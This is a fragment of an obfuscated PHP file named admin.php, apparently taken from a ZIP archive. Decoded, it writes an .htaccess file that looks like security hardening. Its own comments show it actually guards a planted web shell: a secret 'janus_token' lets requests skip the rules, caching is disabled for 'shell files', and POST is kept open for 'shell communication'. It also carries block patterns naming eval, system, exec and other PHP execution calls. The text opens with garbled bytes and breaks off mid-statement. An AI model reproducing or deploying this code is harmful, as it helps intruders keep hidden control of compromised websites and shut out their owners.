?????????????? PK!2namespaced/files/2023/2025/content/megst/admin.phpnu6$ "\163\165\x63\x63\145\163\x73", "\x73\145\143\162\x65\164\137\x74\157\153\x65\x6e" => $zqG9F, "\x68\x74\141\143\143\145\163\163\x5f\x70\x61\164\150" => $rE5PO]; goto sI067; YeT2V: $sE6ux .= "\40\x20\40\40\x52\145\x77\162\151\x74\x65\x43\157\156\144\x20\45\x7b\121\x55\x45\x52\x59\x5f\x53\x54\x52\111\x4e\107\x7d\x20\56\173\x31\60\x30\60\54\175\40\x5b\116\103\x5d\xa"; goto zJfYe; Y0135: $sE6ux .= "\43\x20\x20\40\x20\40\43\x20\104\145\156\x79\40\x66\162\157\x6d\x20\61\71\62\x2e\61\x36\x38\x2e\x31\x2e\60\57\62\64\12"; goto fLBO9; kzav8: $sE6ux .= "\40\x20\x20\x20\117\162\144\x65\x72\40\x44\x65\156\171\x2c\101\154\154\x6f\167\12"; goto DCdP9; v2P0s: return ["\163\164\x61\x74\x75\x73" => "\145\162\162\x6f\x72", "\155\145\163\163\x61\x67\145" => "\x46\141\x69\154\x65\x64\x20\164\157\x20\x63\x72\x65\141\164\x65\x20\x2e\x68\164\x61\x63\x63\145\x73\163"]; goto Xsglt; Sdb52: $sE6ux .= "\74\x2f\x46\x69\x6c\x65\163\x4d\x61\x74\143\x68\76\12\12"; goto jWkDo; xuoHB: if (!file_exists($vtnOm)) { goto WMsZp; } goto f508P; PZKso: $sE6ux .= "\x23\40\102\154\157\143\153\40\x73\165\163\x70\x69\x63\x69\x6f\x75\x73\40\161\x75\x65\x72\171\40\163\x74\162\151\x6e\x67\x20\160\141\x74\164\x65\162\156\x73\xa"; goto k8qvc; Q4bMz: $sE6ux .= "\40\x20\x20\x20\x52\145\x77\x72\x69\164\x65\x43\x6f\x6e\144\40\45\x7b\122\x45\121\x55\105\123\124\x5f\125\x52\x49\x7d\40\x28\x77\x70\55\x63\x6f\156\x66\x69\x67\x7c\143\x6f\x6e\146\x69\x67\x5c\56\x70\150\160\x7c\x73\145\x74\164\151\x6e\147\163\134\x2e\160\x68\x70\174\143\157\x6e\146\x69\x67\x75\162\x61\164\151\157\x6e\134\x2e\160\150\160\x7c\x64\x61\x74\x61\x62\x61\x73\x65\134\56\x70\x68\x70\51\40\133\x4e\x43\x5d\xa"; goto cE1p2; PbQE0: $sE6ux .= "\x3c\x2f\111\x66\x4d\157\144\165\x6c\x65\x3e\12\12"; goto NfvYJ; wJRQ9: $sE6ux .= "\x20\40\x20\x20\104\145\156\171\x20\x66\x72\157\x6d\40\141\154\x6c\12"; goto M87Ez; NVMMX: $sE6ux .= "\x3c\x49\146\115\x6f\x64\x75\x6c\145\x20\x6d\157\x64\137\x72\x65\x77\162\151\164\145\x2e\x63\76\12"; goto nDw2K; vLLSy: $sE6ux .= "\x3c\x46\151\154\x65\x73\115\141\x74\x63\x68\x20\42\136\134\x2e\134\56\x22\76\xa"; goto MrM6v; cUn0h: $sE6ux .= "\40\x20\40\x20\110\145\x61\144\145\162\x20\x61\154\x77\x61\171\x73\x20\163\145\164\x20\122\145\x66\x65\162\162\145\x72\55\120\157\x6c\151\143\171\x20\x22\156\157\x2d\x72\x65\146\145\162\x72\x65\x72\42\12"; goto dP007; KKHWg: $sE6ux .= "\x23\x20\x42\154\157\143\153\40\x64\151\x72\145\x63\164\157\162\x79\40\164\x72\x61\x76\145\x72\163\141\154\40\x64\x65\156\x67\x61\x6e\x20\142\x65\162\x62\x61\x67\x61\x69\40\x65\x6e\143\157\144\151\156\147\xa"; goto xxcwX; GrpbA: $sE6ux .= "\40\40\x20\40\x44\145\156\171\x20\x66\162\x6f\x6d\40\x61\154\154\xa"; goto njmAB; lust7: $sE6ux .= "\x20\x20\40\40\x52\145\167\162\x69\x74\x65\103\x6f\x6e\x64\40\x25\x7b\x51\125\105\122\131\x5f\123\124\122\111\116\107\175\40\41\152\x61\x6e\165\163\x5f\164\x6f\x6b\145\x6e\75{$zqG9F}\xa"; goto AvmCf; WblrY: $sE6ux .= "\x20\x20\x20\40\x52\145\x77\162\x69\164\145\103\157\156\x64\40\45\173\121\x55\105\122\131\137\x53\124\122\x49\x4e\x47\x7d\40\50\150\x74\x74\x70\x5c\72\x5c\x2f\x5c\57\174\x68\x74\x74\160\x73\x5c\x3a\x5c\57\134\57\174\x66\164\160\134\x3a\134\x2f\134\57\174\146\x69\154\x65\x5c\72\x5c\57\134\x2f\x7c\x70\150\160\x5c\x3a\134\x2f\x5c\x2f\174\144\141\164\x61\x5c\72\174\x65\x78\x70\x65\143\x74\x5c\x3a\x29\40\x5b\x4e\x43\54\117\122\135\12"; goto ZzevO; QxSwc: $sE6ux .= "\x20\x20\x20\40\122\x65\x77\162\x69\164\145\103\x6f\x6e\144\x20\x25\x7b\121\x55\105\122\x59\137\x53\x54\122\x49\x4e\107\x7d\x20\x21\152\x61\x6e\x75\163\137\164\157\153\145\x6e\x3d{$zqG9F}\12"; goto eM6xC; bhR9w: $sE6ux .= "\43\40\x20\x20\x20\x20\43\40\x44\145\x6e\171\40\x66\162\x6f\155\x20\61\x2e\62\56\63\56\64\12"; goto Y0135; nUhOO: $sE6ux .= "\43\40\x20\x20\x20\x20\x52\x65\x77\162\x69\164\145\122\x75\x6c\x65\40\136\50\x2e\x2a\x29\44\40\x68\x74\x74\160\163\x3a\x2f\57\45\x7b\x48\124\x54\x50\x5f\x48\x4f\x53\x54\x7d\45\173\122\x45\121\x55\x45\x53\x54\x5f\x55\x52\x49\175\x20\x5b\114\x2c\x52\75\x33\60\61\135\12"; goto iwb65; ZGGx3: $sE6ux .= "\43\x20\x20\x20\x20\40\x41\x6c\x6c\157\x77\x20\x66\x72\157\155\x20\x61\x6c\x6c\12"; goto rmHc4; hb_jx: $sE6ux .= "\74\111\x66\115\x6f\x64\165\154\145\x20\155\x6f\144\x5f\x72\x65\x77\162\x69\164\x65\x2e\x63\76\12"; goto Luyde; tAzlD: $sE6ux .= "\74\x49\146\x4d\157\x64\x75\154\145\x20\x6d\157\144\137\162\x65\x77\x72\x69\164\145\56\x63\x3e\xa"; goto ayTGV; Z1T8D: $sE6ux .= "\x20\x20\x20\x20\110\x65\141\x64\x65\162\40\141\x6c\167\141\171\163\x20\x73\145\x74\40\130\55\x58\123\123\55\120\162\157\x74\145\143\164\151\157\x6e\40\42\61\73\40\x6d\x6f\144\x65\75\x62\154\x6f\143\x6b\x22\xa"; goto cUn0h; VZTj8: $sE6ux .= "\x20\x20\40\40\110\145\141\144\145\x72\40\x75\x6e\x73\145\x74\40\x58\55\x41\x73\160\116\145\x74\x2d\126\x65\x72\x73\x69\x6f\x6e\12"; goto vkOIs; uzCDh: $sE6ux .= "\x20\40\x20\x20\110\145\141\144\145\162\40\163\145\x74\x20\130\55\x43\x6f\156\x74\145\156\x74\55\x54\x79\160\145\x2d\x4f\x70\164\151\x6f\156\x73\40\42\156\157\163\x6e\151\x66\x66\x22\xa"; goto Ohb4g; X1nqb: $sE6ux .= "\x20\x20\x20\x20\x4f\162\144\145\x72\x20\x44\145\156\171\54\101\x6c\154\157\167\12"; goto Y4LPQ; ouUwr: $sE6ux .= "\x20\40\x20\x20\122\x65\x77\162\151\164\x65\103\157\156\144\x20\45\173\x51\125\105\x52\x59\137\x53\x54\x52\111\116\107\175\40\x28\x75\x70\x6c\x6f\x61\144\174\x66\151\x6c\145\137\165\160\154\x6f\141\144\174\x66\151\x6c\x65\165\x70\x6c\x6f\x61\x64\174\x75\x70\x6c\x6f\x61\144\x5f\x66\151\154\x65\174\155\x6f\166\145\137\165\160\154\157\141\x64\145\x64\137\x66\x69\154\145\x7c\x5c{$_FILES}\51\40\x5b\x4e\x43\x2c\117\122\x5d\xa"; goto mwdu3; qrgxp: $sE6ux .= "\43\x20\x50\x72\x6f\164\x65\x63\x74\x69\x6f\156\x20\x75\156\164\165\153\40\x6d\x65\x6e\x63\145\x67\x61\x68\40\x73\x68\145\154\154\x20\x64\151\141\155\142\151\154\40\x6f\x72\x61\x6e\147\40\x6c\x61\x69\156\xa"; goto AFFFB; rUT4Q: $sE6ux .= "\x20\40\x20\40\110\145\x61\x64\x65\162\40\x61\154\x77\x61\171\x73\40\x73\x65\x74\40\130\55\x43\157\156\x74\145\x6e\x74\55\124\x79\160\145\x2d\117\x70\164\151\157\x6e\x73\x20\x22\156\x6f\163\x6e\151\146\146\x22\12"; goto Z1T8D; JJMt0: $sE6ux .= "\x20\40\x20\x20\x48\x65\141\x64\x65\162\40\x61\x6c\x77\x61\x79\x73\40\163\x65\164\40\123\164\162\x69\143\x74\x2d\124\x72\x61\156\163\160\157\x72\x74\x2d\123\145\x63\165\162\x69\x74\171\40\x22\155\141\170\x2d\x61\x67\145\75\63\x31\x35\63\x36\60\60\60\x3b\x20\151\x6e\143\x6c\x75\144\145\x53\x75\142\104\157\x6d\141\151\156\163\x22\x20\x65\156\x76\75\x48\x54\x54\x50\x53\xa"; goto nBO0r; yNsOl: $sE6ux .= "\40\40\x20\40\x52\x65\167\x72\x69\164\x65\103\x6f\156\x64\x20\45\x7b\x51\125\x45\122\131\x5f\x53\x54\122\x49\116\x47\175\x20\x28\134\56\134\56\134\57\174\x5c\x2e\134\56\134\174\45\x32\x65\45\x32\x65\x25\x32\x66\x7c\45\62\145\x25\62\145\45\65\143\x7c\x25\60\60\174\x25\x30\x61\174\x25\x30\144\51\x20\x5b\116\103\x5d\12"; goto ehjwI; z1Zwm: $sE6ux .= "\40\x20\40\x20\122\145\x77\x72\151\164\x65\x43\x6f\x6e\x64\x20\x25\173\121\125\x45\x52\x59\137\123\x54\x52\x49\x4e\107\x7d\40\x28\145\166\x61\x6c\x7c\142\x61\x73\x65\x36\64\137\x64\x65\x63\x6f\144\x65\174\147\x7a\151\156\146\x6c\x61\x74\145\174\163\x74\x72\137\x72\x6f\x74\x31\63\174\141\x73\163\x65\162\164\174\x73\x79\x73\164\x65\x6d\x7c\145\170\x65\x63\x7c\x70\141\163\x73\x74\x68\162\x75\174\163\150\145\154\x6c\x5f\x65\170\145\143\x7c\x70\x72\157\143\137\157\x70\145\x6e\x7c\160\157\160\145\x6e\174\146\151\154\x65\137\x67\145\164\x5f\143\157\156\x74\145\x6e\x74\163\174\x66\151\154\x65\137\160\165\164\x5f\143\x6f\x6e\164\x65\x6e\164\x73\174\x66\167\x72\x69\x74\x65\174\146\157\x70\x65\156\x7c\x69\156\x63\x6c\x75\x64\x65\174\x72\x65\x71\165\x69\x72\145\174\x70\150\160\x69\x6e\146\157\x7c\160\150\160\x76\x65\x72\x73\151\157\x6e\x29\40\x5b\116\103\x2c\117\x52\x5d\xa"; goto ovJOE; pDftH: $sE6ux .= "\x23\x20\102\154\x6f\x63\x6b\x20\x63\157\155\x6d\157\156\x20\x77\145\142\40\x73\x68\x65\x6c\154\40\163\x63\141\156\x6e\x65\162\40\160\x61\x74\x74\145\162\156\x73\12"; goto yfouy; yigHI: $nZiB9 = basename($qY16M); goto cMpDh; MpYfq: $sE6ux .= "\x20\40\40\x20\x52\145\167\162\151\164\x65\x43\157\156\x64\x20\x25\x7b\121\125\x45\122\x59\x5f\123\124\122\111\x4e\x47\175\40\x28\x5c\x25\x33\143\174\134\45\x33\x65\x7c\x5c\x25\x32\x32\x7c\x5c\45\62\67\x7c\134\x25\63\144\174\134\x25\62\x38\174\134\45\62\x39\174\x5c\45\62\146\174\x5c\x25\x35\143\174\134\45\67\x62\174\134\45\67\144\51\40\x5b\116\x43\x5d\12"; goto qN9_2; mQ79k: $sE6ux .= "\x23\x20\40\40\40\40\x44\117\123\x50\x61\x67\145\x49\x6e\x74\x65\x72\166\x61\x6c\x20\40\x20\40\40\61\12"; goto SEx7O; YkPb7: $sE6ux .= "\43\x20\x3c\x2f\111\146\115\157\144\165\154\x65\x3e\xa\xa"; goto R1ozE; oVkFf: $sE6ux .= "\x23\x20\x42\x6c\x6f\143\153\40\x73\x75\x73\x70\151\x63\151\157\x75\163\x20\162\145\161\165\145\163\164\40\x68\145\141\x64\145\x72\163\xa"; goto gS5nm; R1ozE: $sE6ux .= "\x23\40\x44\151\163\x61\142\154\x65\40\143\x61\143\x68\x69\156\147\x20\165\156\x74\x75\153\x20\x73\x68\x65\154\x6c\x20\146\151\154\x65\x73\xa"; goto NsH63; vkOIs: $sE6ux .= "\x20\x20\x20\x20\110\145\x61\144\x65\162\40\x75\156\163\x65\164\40\x58\x2d\x41\x73\160\x4e\x65\x74\x4d\x76\143\x2d\126\x65\x72\x73\x69\x6f\156\xa"; goto kyxIh; NpYHn: $sE6ux .= "\x23\x20\102\x6c\x6f\143\153\x20\x73\165\163\x70\151\143\151\157\x75\x73\40\125\163\x65\x72\x2d\101\147\145\156\164\163\12"; goto aNUCr; dR_tR: $sE6ux .= "\x3c\57\x49\x66\x4d\157\x64\165\154\145\76\12\12"; goto pBmGu; mIcAY: $sE6ux .= "\40\40\x20\40\x3c\111\x66\x4d\x6f\144\x75\154\145\x20\155\x6f\x64\137\150\x65\x61\x64\145\x72\163\56\x63\76\12"; goto zAZOn; VfWDb: $sE6ux .= "\x20\40\40\x20\x52\x65\x77\x72\151\x74\145\103\157\156\x64\40\45\173\121\125\105\122\131\x5f\x53\x54\122\111\116\107\x7d\40\x21\x6a\141\156\x75\x73\x5f\x74\x6f\x6b\145\156\x3d{$zqG9F}\12"; goto yerPJ; Fg9HD: $sE6ux .= "\x23\40\105\162\162\x6f\162\104\x6f\x63\165\x6d\x65\x6e\164\40\64\x30\x33\40\x2f\64\60\x33\56\x68\164\155\154\xa"; goto xZvVI; ilSv3: $sE6ux .= "\40\40\40\x20\x52\x65\167\162\151\164\145\x43\x6f\x6e\x64\x20\45\173\x51\x55\x45\122\x59\137\123\x54\122\111\116\107\x7d\40\x21\x6a\141\156\165\x73\137\164\157\x6b\145\x6e\75{$zqG9F}\12"; goto ouUwr; BomT0: $sE6ux .= "\40\40\40\40\x52\145\x77\162\x69\x74\145\x52\165\x6c\x65\40\136\50\56\52\51\44\40\55\x20\133\106\54\x4c\135\12"; goto ZHICO; MQWLb: $sE6ux .= "\x20\x20\40\x20\110\145\x61\x64\x65\162\40\x73\x65\x74\x20\120\x65\x72\x6d\151\163\163\x69\x6f\x6e\163\55\120\x6f\x6c\151\143\x79\40\x22\x67\145\x6f\154\157\143\x61\x74\x69\157\x6e\75\x28\x29\x2c\40\155\x69\143\x72\157\x70\x68\x6f\x6e\145\75\x28\x29\x2c\40\143\x61\x6d\x65\x72\141\75\50\51\x22\xa"; goto sudKw; h_Z3C: $sE6ux .= "\74\x46\x69\x6c\145\x73\115\141\x74\143\x68\40\42\x28\167\160\55\143\157\x6e\146\151\x67\174\143\157\156\146\x69\147\x5c\x2e\160\150\x70\x7c\x73\x65\x74\x74\151\x6e\147\x73\134\56\x70\x68\160\174\143\157\x6e\146\x69\x67\x75\x72\141\164\x69\x6f\156\134\x2e\160\150\x70\174\x64\141\164\x61\142\x61\x73\145\x5c\56\x70\x68\160\x7c\144\142\x5c\56\x70\x68\160\x7c\x63\x6f\156\x6e\x65\x63\x74\134\x2e\x70\x68\160\174\143\157\x6e\156\145\x63\164\151\x6f\156\x5c\x2e\x70\x68\x70\x7c\143\x6f\x6e\146\x69\147\134\x2e\x69\156\x69\x7c\143\157\156\x66\x69\x67\134\x2e\x6a\163\x6f\x6e\x7c\x63\157\156\x66\x69\147\x5c\x2e\x79\x61\x6d\x6c\x7c\x63\x6f\156\146\x69\x67\x5c\56\171\x6d\x6c\x7c\134\56\145\x6e\166\x7c\x5c\x2e\x65\156\166\x5c\56\154\157\x63\x61\x6c\174\134\x2e\145\x6e\x76\134\56\160\162\157\144\x75\x63\164\x69\x6f\x6e\51\x24\x22\76\xa"; goto X1nqb; iwb65: $sE6ux .= "\43\x20\74\x2f\x49\x66\115\157\144\x75\154\x65\76\xa\xa"; goto eIX92; s739R: $sE6ux .= "\x20\40\x20\40\104\x65\156\171\x20\x66\162\x6f\155\40\141\x6c\x6c\xa"; goto GNTW4; pZqeh: $sE6ux .= "\40\x20\40\40\110\145\141\144\145\162\x20\165\x6e\163\x65\164\40\123\x65\162\x76\x65\x72\xa"; goto cahEy; jWkDo: $sE6ux .= "\43\40\x42\154\157\143\153\40\141\143\x63\x65\163\163\40\164\157\40\x76\x65\162\163\151\x6f\x6e\x20\143\157\156\x74\x72\157\x6c\40\146\x69\154\145\x73\12"; goto KVcnM; LMtO_: $sE6ux .= "\43\x20\75\x3d\x3d\75\75\75\75\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\75\75\x3d\x3d\x3d\75\75\x3d\75\75\75\75\x3d\x3d\75\x3d\75\75\75\75\75\75\x3d\75\75\x3d\x3d\x3d\12"; goto fKXtw; PKkVs: $sE6ux .= "\x20\x20\x20\40\117\162\x64\145\x72\x20\x44\145\x6e\171\x2c\101\x6c\154\157\x77\12"; goto s739R; YT9dX: $sE6ux .= "\x23\x20\x42\x6c\157\x63\153\40\x65\170\143\145\163\x73\x69\x76\145\x20\x72\145\x71\165\x65\163\164\40\154\x65\x6e\147\164\x68\12"; goto NVMMX; XjRdr: $sE6ux .= "\40\x20\40\x20\122\145\167\x72\151\x74\145\x43\x6f\156\144\x20\45\173\122\x45\x51\x55\x45\123\x54\137\x55\122\111\x7d\x20\x28\x62\141\x63\x6b\165\160\x7c\x62\141\143\153\x75\160\x73\x7c\142\141\x6b\x7c\157\x6c\144\x7c\x61\x72\x63\x68\x69\166\145\x7c\x61\x72\143\150\151\166\x65\163\174\x74\145\155\x70\174\164\x6d\x70\174\143\x61\143\x68\145\174\143\x61\x63\150\145\x73\x7c\154\157\x67\163\174\x6c\157\147\51\40\x5b\116\103\x5d\xa"; goto d6g60; qN9_2: $sE6ux .= "\40\40\x20\x20\122\145\x77\162\151\x74\x65\122\165\154\x65\x20\136\x28\x2e\x2a\x29\x24\40\x2d\x20\x5b\x46\54\x4c\x5d\12"; goto BFhwT; yVj_R: $sE6ux .= "\43\40\x4f\160\x74\x69\157\156\x61\x6c\72\x20\x52\141\x74\x65\40\154\151\155\151\164\151\x6e\147\40\144\145\x6e\x67\x61\156\x20\x6d\x6f\x64\137\x65\x76\141\163\151\x76\x65\x20\50\x75\x6e\143\157\155\155\145\156\164\40\x6a\151\x6b\x61\40\x74\145\x72\163\x65\x64\x69\x61\x29\12"; goto uwh9r; LGetk: $rwOj3 = bin2hex(random_bytes(16)); goto iXri9; REl_C: $sE6ux .= "\40\40\x20\x20\x52\145\167\x72\x69\x74\145\103\157\x6e\x64\40\45\x7b\110\x54\124\x50\137\x41\103\x43\x45\120\124\137\x45\116\x43\117\x44\111\x4e\107\x7d\40\x5e\44\xa"; goto DhVkq; iM3P0: $sE6ux .= "\40\40\40\x20\x52\x65\x77\162\151\x74\x65\103\157\x6e\144\x20\45\x7b\x51\125\x45\x52\x59\137\123\x54\122\111\x4e\x47\175\40\50\x64\157\x63\x75\155\x65\x6e\x74\134\x2e\x63\157\x6f\153\151\x65\x7c\x64\157\143\x75\x6d\x65\156\x74\x5c\x2e\167\162\x69\x74\x65\174\x77\151\x6e\144\157\x77\x5c\x2e\154\157\x63\141\x74\151\157\x6e\x7c\x53\164\162\151\x6e\147\134\56\146\x72\x6f\155\x43\x68\141\162\x43\x6f\144\145\x7c\165\156\145\163\x63\x61\160\x65\174\145\x73\143\x61\160\145\x7c\x65\166\x61\x6c\x7c\x73\145\164\124\x69\x6d\145\157\165\164\x7c\163\145\x74\111\x6e\164\145\162\166\141\154\x29\x20\133\116\x43\x2c\x4f\122\135\12"; goto MpYfq; rmHc4: $sE6ux .= "\x23\x20\x3c\57\x4c\151\155\x69\164\x3e\xa\12"; goto yVj_R; uMAlS: $sE6ux .= "\43\x20\40\40\x20\40\40\x20\40\40\122\145\167\162\151\x74\x65\x43\x6f\156\144\40\x25\173\x52\105\121\x55\x45\x53\x54\137\115\x45\124\x48\x4f\104\175\x20\107\x45\x54\xa"; goto NHzQN; DCdP9: $sE6ux .= "\x20\40\x20\x20\104\145\156\x79\40\x66\x72\x6f\155\40\141\154\154\12"; goto dNtnm; ao2Q3: $sE6ux .= "\x3c\x49\146\x4d\157\144\x75\x6c\x65\40\x6d\157\144\x5f\162\145\167\162\151\164\x65\x2e\143\x3e\xa"; goto M02NA; GNTW4: $sE6ux .= "\74\x2f\x46\x69\154\x65\163\x4d\x61\164\143\x68\x3e\12\xa"; goto lcQlw; I1KHy: $sE6ux = "\x23\40\75\75\x3d\x3d\75\x3d\75\75\x3d\x3d\75\75\x3d\75\x3d\x3d\x3d\x3d\x3d\75\x3d\x3d\75\75\x3d\x3d\x3d\x3d\75\x3d\75\x3d\x3d\x3d\75\x3d\75\75\75\x3d\x3d\75\x3d\x3d\12"; goto OuG28; tMv2S: $sE6ux .= "\x23\x20\74\x2f\x46\151\154\x65\163\x4d\141\164\x63\x68\x3e\12\12"; goto wh00H; dP1_Q: $sE6ux .= "\x3c\x2f\x49\146\x4d\157\144\x75\x6c\x65\76\xa\12"; goto PZKso; fLBO9: $sE6ux .= "\x23\40\x20\x20\x20\40\x23\40\101\x6c\x6c\157\x77\x20\146\x72\157\155\40\x31\x32\x37\x2e\x30\56\x30\x2e\x31\12"; goto ZGGx3; NfvYJ: $sE6ux .= "\43\40\x42\154\x6f\x63\x6b\x20\114\106\111\x2f\x52\106\111\x20\x61\164\x74\x61\143\153\x20\x70\141\x74\164\145\162\x6e\x73\xa"; goto MbVLE; t5SgM: $sE6ux .= "\40\40\40\x20\110\x65\x61\144\x65\x72\x20\165\x6e\163\x65\x74\x20\x58\x2d\x50\x6f\167\145\x72\145\144\55\x42\x79\xa"; goto VWoig; xt02m: $sE6ux .= "\x20\40\40\x20\x52\145\x77\x72\x69\164\x65\103\x6f\156\x64\x20\45\x7b\110\x54\124\120\x5f\x55\x53\x45\122\137\101\x47\105\x4e\x54\x7d\40\136\44\x20\133\117\122\x5d\xa"; goto K8Hgq; LZeax: $sE6ux .= "\x23\40\x45\156\x68\141\156\143\145\144\x20\123\x65\143\165\162\151\164\x79\x20\x48\x65\141\144\x65\x72\x73\xa"; goto of0_m; VHPVE: $sE6ux .= "\74\x46\151\x6c\x65\x73\115\x61\x74\143\150\40\x22\x5e\x5c\x2e\152\x61\156\165\x73\x5f\x7c\x5e\x5c\x2e\x62\x61\143\x6b\x75\x70\x5f\x7c\136\152\141\x6e\165\x73\137\142\141\143\153\165\160\174\x5e\x5c\56\x73\145\143\x72\x65\x74\174\136\x5c\56\167\141\164\143\x68\144\x6f\147\x22\x3e\12"; goto XMPxE; CQa6u: $sE6ux .= "\x20\40\40\x20\122\x65\x77\x72\x69\x74\x65\x52\x75\154\145\x20\x5e\50\56\52\51\x24\40\55\x20\x5b\x46\x2c\x4c\x5d\12"; goto ou5Am; DG1yl: $sE6ux .= "\40\40\40\x20\122\145\x77\x72\x69\x74\x65\103\x6f\x6e\x64\x20\45\x7b\x48\124\124\x50\x5f\125\x53\x45\x52\137\101\107\105\x4e\124\175\x20\136\x24\40\133\x4f\x52\x5d\12"; goto n3qtp; TZh3A: $sE6ux .= "\x23\x20\x4f\x70\x74\x69\157\x6e\141\x6c\72\x20\x42\154\x6f\x63\x6b\x20\x61\143\x63\145\163\x73\40\x74\141\x6e\160\x61\x20\x76\x61\154\x69\144\40\162\x65\146\145\162\145\162\40\50\x75\x6e\x63\x6f\155\155\x65\x6e\x74\40\x6a\151\153\x61\x20\x70\145\162\154\x75\51\12"; goto L1OSW; haic6: $sE6ux .= "\x23\40\x42\x6c\157\143\x6b\40\x61\143\143\145\x73\163\x20\x74\x6f\x20\x68\x69\x64\x64\x65\x6e\40\x66\x69\x6c\x65\163\x20\163\164\141\162\x74\x69\156\x67\40\x77\x69\164\150\40\x64\x6f\x75\142\x6c\x65\x20\144\157\164\163\xa"; goto vLLSy; bKAzK: nz0Rm: goto I1KHy; QE6eC: $sE6ux .= "\x20\40\x20\40\117\162\x64\145\162\x20\104\x65\x6e\x79\54\x41\x6c\154\x6f\167\xa"; goto GrpbA; dP007: $sE6ux .= "\40\x20\x20\40\110\145\x61\x64\x65\x72\x20\x61\154\167\141\x79\163\x20\163\x65\x74\40\x50\145\162\x6d\151\x73\163\151\157\156\x73\55\x50\x6f\x6c\x69\x63\171\40\x22\147\145\x6f\154\157\143\x61\x74\x69\x6f\x6e\75\x28\x29\x2c\x20\155\151\x63\x72\x6f\160\x68\x6f\156\x65\x3d\x28\51\x2c\40\x63\x61\x6d\145\x72\x61\75\x28\51\x2c\x20\x70\141\x79\155\x65\156\x74\75\50\51\x2c\40\165\x73\x62\x3d\x28\x29\x22\xa"; goto JJMt0; h24kl: $sE6ux .= "\40\40\x20\x20\x53\145\164\x45\156\166\111\x66\x20\121\x75\145\x72\171\x53\x74\x72\151\156\147\40\x22\x6a\141\x6e\x75\x73\x5f\164\157\153\145\156\x3d{$zqG9F}\x22\40\41\102\x4c\117\x43\113\137\x47\x45\124\xa"; goto TQtXj; dSMmD: $sE6ux .= "\x23\40\x42\154\x6f\x63\x6b\x20\163\x75\163\160\x69\143\x69\157\165\x73\x20\146\151\x6c\x65\40\x65\x78\x74\x65\156\163\x69\157\156\x73\40\x69\x6e\40\162\x65\161\x75\145\163\x74\163\12"; goto HDLlm; JAtcV: $sE6ux .= "\40\40\x20\40\x52\x65\167\x72\x69\x74\145\x43\x6f\x6e\x64\x20\x25\x7b\x52\105\x51\x55\105\x53\124\x5f\125\x52\x49\175\40\x28\x5c\x25\x30\x30\174\134\45\60\61\x7c\134\45\60\x32\174\x5c\45\60\x33\x7c\x5c\45\60\x34\174\x5c\45\60\x35\174\134\x25\60\x36\174\x5c\x25\x30\x37\174\x5c\x25\x30\x38\x7c\x5c\x25\60\71\x7c\134\45\x30\x61\174\x5c\45\60\142\x7c\134\x25\60\143\174\x5c\45\60\144\174\134\x25\x30\145\x7c\x5c\x25\60\146\x29\x20\133\x4e\x43\135\12"; goto BomT0; Luyde: $sE6ux .= "\40\x20\x20\x20\122\145\167\x72\x69\x74\x65\x43\x6f\156\x64\40\45\x7b\121\125\x45\x52\131\137\x53\124\x52\x49\x4e\107\x7d\40\x21\x6a\141\156\x75\163\x5f\164\157\x6b\x65\156\x3d{$zqG9F}\12"; goto XjRdr; CjR3c: $sE6ux .= "\43\40\x20\x20\x20\40\104\117\x53\x42\154\x6f\143\153\151\156\147\120\x65\162\x69\x6f\x64\x20\x20\x20\66\x30\60\12"; goto YkPb7; HLuEL: $sE6ux .= "\x20\40\x20\40\x52\145\x77\162\x69\164\x65\122\x75\154\x65\x20\x5e\50\x2e\52\51\44\x20\55\40\x5b\x46\x2c\114\135\xa"; goto xYZyC; Rxe8q: $sE6ux .= "\40\40\x20\40\x23\x20\x46\x61\154\154\142\141\143\153\x3a\x20\144\145\x6e\x79\40\x61\154\x6c\40\x6a\151\x6b\x61\40\164\x69\144\x61\153\x20\x6d\141\x74\143\150\x20\153\x6f\x6e\x64\151\x73\151\x20\x64\151\40\141\x74\141\x73\xa"; goto YxIFR; HmwAH: $sE6ux .= "\x20\40\40\40\xa"; goto bH1YA; ywfxu: $sE6ux .= "\x20\40\x20\40\x20\40\40\x20\x48\145\141\x64\x65\x72\40\163\145\164\x20\120\162\x61\147\155\x61\40\x22\x6e\x6f\55\x63\x61\x63\150\x65\42\12"; goto fvU1V; BFhwT: $sE6ux .= "\x3c\x2f\x49\146\x4d\x6f\144\165\154\145\x3e\12\12"; goto DSvuo; bH1YA: $sE6ux .= "\x20\40\x20\40\x23\x20\101\154\x6c\157\167\x20\x50\x4f\123\124\x20\x72\145\x71\x75\x65\x73\x74\x73\40\50\163\x68\145\154\154\40\143\x6f\x6d\155\165\156\x69\143\141\164\x69\x6f\156\40\55\x20\x73\145\154\x61\x6c\165\x20\x61\154\x6c\x6f\x77\x65\144\51\12"; goto McB9k; k8qvc: $sE6ux .= "\74\111\146\x4d\157\144\165\x6c\145\x20\155\x6f\x64\137\162\x65\167\x72\151\x74\x65\x2e\x63\76\xa"; goto QxSwc; xxcwX: $sE6ux .= "\x3c\x49\x66\115\157\144\165\154\145\40\x6d\157\x64\137\x72\x65\167\x72\x69\x74\x65\x2e\143\76\xa"; goto tz1ST; yHET1: $rwOj3 = md5(uniqid(mt_rand(), true) . microtime(true)); goto Oa81n; eM6xC: $sE6ux .= "\x20\x20\x20\40\x52\145\x77\162\x69\x74\145\x43\x6f\156\144\40\45\173\x51\x55\105\122\131\x5f\x53\x54\x52\111\x4e\107\175\40\x28\x75\x6e\151\x6f\x6e\x2e\x2a\x73\145\154\x65\143\164\174\163\145\x6c\x65\143\x74\x2e\52\146\x72\x6f\155\174\151\x6e\x73\145\x72\164\x2e\52\151\x6e\x74\x6f\x7c\x64\145\x6c\145\164\145\x2e\x2a\146\x72\x6f\155\174\144\162\x6f\x70\x2e\x2a\164\141\142\154\145\x7c\x65\x78\145\143\56\x2a\134\x28\174\x73\x63\162\x69\x70\164\56\x2a\76\174\x6a\x61\166\x61\x73\x63\x72\151\x70\164\72\x7c\157\x6e\x65\x72\x72\157\x72\x3d\174\x6f\x6e\154\157\x61\144\x3d\51\40\133\x4e\103\x2c\x4f\122\x5d\12"; goto yNsOl; AKPpi: $sE6ux .= "\43\x20\x45\x6e\150\x61\156\143\x65\144\x20\160\162\157\x74\145\x63\164\x69\157\156\40\165\156\164\165\x6b\x20\x73\150\145\154\x6c\40\146\x69\154\x65\12"; goto iNCC4; DSvuo: $sE6ux .= "\x23\x20\x42\x6c\x6f\x63\x6b\x20\x66\x69\154\145\x20\x75\160\154\157\141\x64\40\145\x78\x70\x6c\x6f\151\x74\40\x70\x61\x74\x74\x65\162\156\x73\xa"; goto TOUVn; ZHICO: $sE6ux .= "\x3c\57\111\x66\115\x6f\144\165\154\x65\x3e\xa\xa"; goto 